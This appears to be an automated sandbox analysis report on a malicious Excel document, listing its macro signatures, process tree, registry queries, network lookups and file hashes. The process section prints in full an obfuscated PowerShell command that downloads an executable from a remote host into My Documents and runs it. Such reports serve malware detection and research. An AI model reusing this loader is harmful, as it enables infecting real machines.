Analysis Overview
SHA256
1b4cfbc915c345c15334b5514644e2983c84573e31b6987b3eb764c137fa25d6
Threat Level: Known bad
The file documento_rif.48951.xls was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Command and Scripting Interpreter: PowerShell
Office macro that triggers on suspicious action
Suspicious Office macro
Checks processor information in registry
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 02:44
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 02:44
Reported
2024-08-15 02:46
Platform
win10v2004-20240802-es
Max time kernel
68s
Max time network
72s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.eXe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2176 wrote to memory of 5840 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.eXe |
| PID 2176 wrote to memory of 5840 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.eXe |
| PID 5840 wrote to memory of 4372 | N/A | C:\Windows\SYSTEM32\cmd.eXe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 5840 wrote to memory of 4372 | N/A | C:\Windows\SYSTEM32\cmd.eXe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\documento_rif.48951.xls"
C:\Windows\SYSTEM32\cmd.eXe
cmd.eXe /c " POweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\"$lenovo\\417540.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\417540.eXE""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\"$lenovo\\417540.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\417540.eXE"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | loadcloud.stream | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
Files
memory/2176-0-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp
memory/2176-2-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp
memory/2176-1-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp
memory/2176-4-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp
memory/2176-3-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp
memory/2176-5-0x00007FFB6D9AD000-0x00007FFB6D9AE000-memory.dmp
memory/2176-9-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-10-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-8-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-7-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-6-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-11-0x00007FFB2B460000-0x00007FFB2B470000-memory.dmp
memory/2176-12-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-14-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-13-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-15-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-16-0x00007FFB2B460000-0x00007FFB2B470000-memory.dmp
memory/2176-19-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-20-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-18-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-17-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-63-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-134-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/4372-138-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/4372-139-0x000001C25E9C0000-0x000001C25EA42000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a5lklnht.lch.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4372-149-0x000001C246880000-0x000001C246890000-memory.dmp
memory/4372-150-0x000001C25E960000-0x000001C25E982000-memory.dmp
memory/4372-151-0x000001C25ED90000-0x000001C25EE92000-memory.dmp
memory/4372-152-0x000001C25E990000-0x000001C25E9A4000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 25a082437749c9ba5ea69813246565bd |
| SHA1 | 8f1ea187faee996b96c654d606920a48313a7993 |
| SHA256 | daa9b5f32eb76d73edece3785d2822eef3128cdd0686bfd93b6987c89b059969 |
| SHA512 | 9b1bdfe85f3b7f42b58f53f062baa3a15bcd9a180d427a34b53912ece97502d882e02529d51e75381ceef25d4bcf54517c895a064c452669a30bdf59d9c62d3a |
memory/2176-161-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-162-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-163-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/2176-164-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/4372-165-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp
memory/4372-166-0x000001C25ECC0000-0x000001C25ED00000-memory.dmp